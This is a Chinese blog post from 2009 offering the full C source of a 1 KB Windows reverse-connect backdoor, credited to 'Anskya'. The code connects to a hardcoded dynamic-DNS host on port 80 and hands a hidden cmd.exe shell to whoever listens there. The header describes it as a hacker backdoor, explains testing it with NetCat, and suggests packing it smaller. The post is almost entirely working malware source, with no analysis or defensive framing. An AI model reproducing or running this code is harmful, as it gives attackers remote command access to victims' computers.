反向连接零管道后门

作者在 2009-03-08 12:35:20 发布以下内容
/*
  1k(程序体积1kb) 反向连接,零管道后门 By Anskya

说明:
  不用我多说了吧..黑客一般都会使用的后门程序..
  这里只是简单的演示一下..没有添加进程隐藏功能
  程序可以在Win9x,Win2k,WinXP,Win2k3上使用
  程序体积只有1k(FSG压缩一下会更小)

测试:
  本地开启NetCat等工具,监听80端口,会返回一个Shell
*/
#pragma comment(linker,"/subsystem:windows /FILEALIGN:0x200 /ENTRY:Entrypoint")
#pragma comment(linker,"/INCREMENTAL:NO /IGNORE:4078")
#pragma comment(linker,"/MERGE:.idata=.text /MERGE:.data=.text /MERGE:.rdata=.text /MERGE:.text=Anskya /SECTION:Anskya,EWR")
#pragma comment(lib, "ws2_32.lib")

#include <winsock2.h>
#include <windows.h>

#define MasterAddr "DNA32r.3322.org"   //连接地址
#define MasterPort 80             //连接端口

void Entrypoint()
{
  WSADATA WSADa;
  LPHOSTENT HostEnts;
  sockaddr_in SockAddrIn;
  SOCKET FSocket;
  
  PROCESS_INFORMATION ProcessInfo;
  STARTUPINFO StartupInfo;

  char szCMDPath[255];
//-------------------
  ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
  ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
  ZeroMemory(&WSADa, sizeof(WSADATA));
//----初始化数据----
  GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));
  //获取cmd路径
  WSAStartup(0x0202,&WSADa);
  //加载ws2_32.dll
  HostEnts=gethostbyname(MasterAddr);
  SockAddrIn.sin_family = AF_INET;
  SockAddrIn.sin_addr = *((LPIN_ADDR)*HostEnts->h_addr_list);
  SockAddrIn.sin_port = htons(MasterPort);
  FSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
  //获取远程地址和端口~绑定协议
  connect(FSocket, (LPSOCKADDR)&SockAddrIn,sizeof(SockAddrIn));
  //开始连接远程服务器
  StartupInfo.cb = sizeof(STARTUPINFO);
  StartupInfo.wShowWindow = SW_HIDE;
  StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  StartupInfo.hStdInput = (HANDLE)FSocket;
  StartupInfo.hStdOutput = (HANDLE)FSocket;
  StartupInfo.hStdError = (HANDLE)FSocket;
  //创建匿名管道
  createProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
  WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
  CloseHandle(ProcessInfo.hProcess);
  CloseHandle(ProcessInfo.hThread);
  //关闭进程句柄
  closesocket(FSocket);
  WSACleanup();
  //关闭连接卸载ws2_32.dll
}
vc | 阅读 2595 次
文章评论,共0条
游客请输入验证码